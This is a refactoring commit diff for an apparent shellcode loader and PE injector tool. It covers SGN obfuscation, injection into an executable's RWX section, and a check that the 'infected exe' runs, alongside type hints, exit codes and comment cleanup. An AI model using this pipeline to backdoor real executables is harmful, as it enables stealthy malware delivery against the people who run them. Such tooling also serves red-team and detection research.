refactor: source cleanup, exit codes on verify

pehelper.py

@@ -32,7 +32,7 @@ def write_code_section(exe_file: FilePath, new_data: bytes):
         f.write(new_data)
 
 
-def get_code_section(pe) -> pefile.SectionStructure:
+def get_code_section(pe: pefile.PE) -> pefile.SectionStructure:
     entrypoint = pe.OPTIONAL_HEADER.AddressOfEntryPoint
     for sect in pe.sections:
         if sect.Characteristics & pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']:
@@ -106,7 +106,7 @@ def extract_iat(pe: pefile.PE):
     return iat
 
 
-def get_addr_for(iat, func_name):
+def get_addr_for(iat, func_name: str) -> int:
     for dll_name in iat:
         for entry in iat[dll_name]:
             if entry["func_name"] == func_name:

phases/injector.py

@@ -57,7 +57,7 @@ def inject_exe(
         write_code_section(exe_file=exe_out, new_data=code)
 
 
-def verify_injected_exe(exefile: FilePath):
+def verify_injected_exe(exefile: FilePath) -> int:
     logger.info("---[ Verify infected exe: {} ".format(exefile))
     # remove indicator file
     pathlib.Path(project.verify_filename).unlink(missing_ok=True)
@@ -70,8 +70,8 @@ def verify_injected_exe(exefile: FilePath):
         logger.info("---> Verify OK. Infected exe works (file was created)")
         # better to remove it immediately
         os.remove(project.verify_filename)
-        return True
+        return 0
     else:
         logger.error("---> Verify FAIL. Infected exe does not work (no file created)")
-        return False
+        return 1
 

project.py

@@ -1,6 +1,7 @@
 from model import *
 from defs import *
 
+
 class Project():
     def __init__(self):
         # User, generating normally
@@ -32,7 +33,7 @@ class Project():
         self.generate_asm_from_c: bool = True
         self.generate_shc_from_asm: bool = True
 
-        self.verify_filename = r'C:\Temp\a'
+        self.verify_filename: FilePath = r'C:\Temp\a'
         
 
 project = Project()

supermega.py

@@ -151,10 +151,6 @@ def start():
     else:
         logger.info("--[ Some imports are missing for the shellcode to use IAT_REUSE")
         project.source_style = SourceStyle.peb_walk
-
-    #observer.add_json("capabilities_a", project.exe_capabilities)
-    #observer.add_json("options", options)
-
     logger.warning("--[ SourceStyle: {}".format(project.source_style.name))
 
     # Copy: loader C files into working directory: build/
@@ -165,7 +161,7 @@ def start():
         decoder_style= project.decoder_style,
     )
 
-    # Convert: C -> ASM
+    # Compile: C -> ASM
     if project.generate_asm_from_c:
         # Find payload size
         with open(project.payload, 'rb') as input2:
@@ -177,18 +173,18 @@ def start():
             payload_len = payload_length, 
             exe_capabilities = project.exe_capabilities)
 
-    # Convert: ASM -> Shellcode
+    # Assemble: ASM -> Shellcode
     if project.generate_shc_from_asm:
         phases.assembler.asm_to_shellcode(
             asm_in = main_asm_file, 
             build_exe = main_exe_file, 
             shellcode_out = main_shc_file)
     
-    # Try: Starting the shellcode (rarely useful)
+    # Try: Starting the loader-shellcode (rarely useful)
     if project.try_start_loader_shellcode:
         try_start_shellcode(main_shc_file)
 
-    # Merge shellcode/loader with payload
+    # Merge: shellcode/loader with payload
     if project.dataref_style == DataRefStyle.APPEND:
         phases.assembler.merge_loader_payload(
             shellcode_in = main_shc_file,
@@ -209,26 +205,18 @@ def start():
         # copy it to out
         shutil.copyfile(main_shc_file, os.path.join("out/", os.path.basename(main_shc_file)))
 
-    # SGN
+    # RWX Injection
-    #  after we packed everything (so jmp to end of code still works)
-    #if options["obfuscate_shc_loader"] and project.exe_capabilities.rwx_section != None:
     if project.exe_capabilities.rwx_section != None:
         logger.info("--[ RWX section {} found. Will obfuscate loader+payload and inject into it".format(
             project.exe_capabilities.rwx_section.Name.decode().rstrip('\x00')
         ))
         obfuscate_shc_loader(main_shc_file, main_shc_file + ".sgn")
-
         observer.add_code("payload_sgn", file_readall_binary(main_shc_file + ".sgn"))
         shutil.move(main_shc_file + ".sgn", main_shc_file)
 
-        #if options["verify"]:
-        #    if not verify_shellcode("main-clean.bin"):
-        #        return
-
     # inject merged loader into an exe
+    exit_code = 0
     if project.inject:
-        #debug_data["original_exe"] = file_readall_binary(options["inject_exe_in"])
-
         phases.injector.inject_exe(
             shellcode_in = main_shc_file,
             exe_in = project.inject_exe_in,
@@ -236,26 +224,21 @@ def start():
             exe_capabilities = project.exe_capabilities
         )
         if project.verify:
-            logger.info("--[ Verify final exe")
+            logger.info("--[ Verify infected exe")
-            if phases.injector.verify_injected_exe(project.inject_exe_out):
+            exit_code = phases.injector.verify_injected_exe(project.inject_exe_out)
-                #debug_data["infected_exe"] = file_readall_binary(options["inject_exe_out"])
-                pass
 
-        if project.try_start_final_infected_exe:
+        elif project.try_start_final_infected_exe:
             logger.info("--[ Start infected exe")
             run_process_checkret([
                 project.inject_exe_out,
             ], check=False)
 
-    # dump the info i gathered
+    # Cleanup files
-    #file = open('latest.pickle', 'wb')
-    #pickle.dump(data, file)
-    #file.close()
-
-    # delete files
     if project.cleanup_files_on_exit:
         clean_files()
 
+    exit(exit_code)
+
 
 def obfuscate_shc_loader(file_shc_in, file_shc_out):
     logger.info("--[ Obfuscate shellcode with SGN")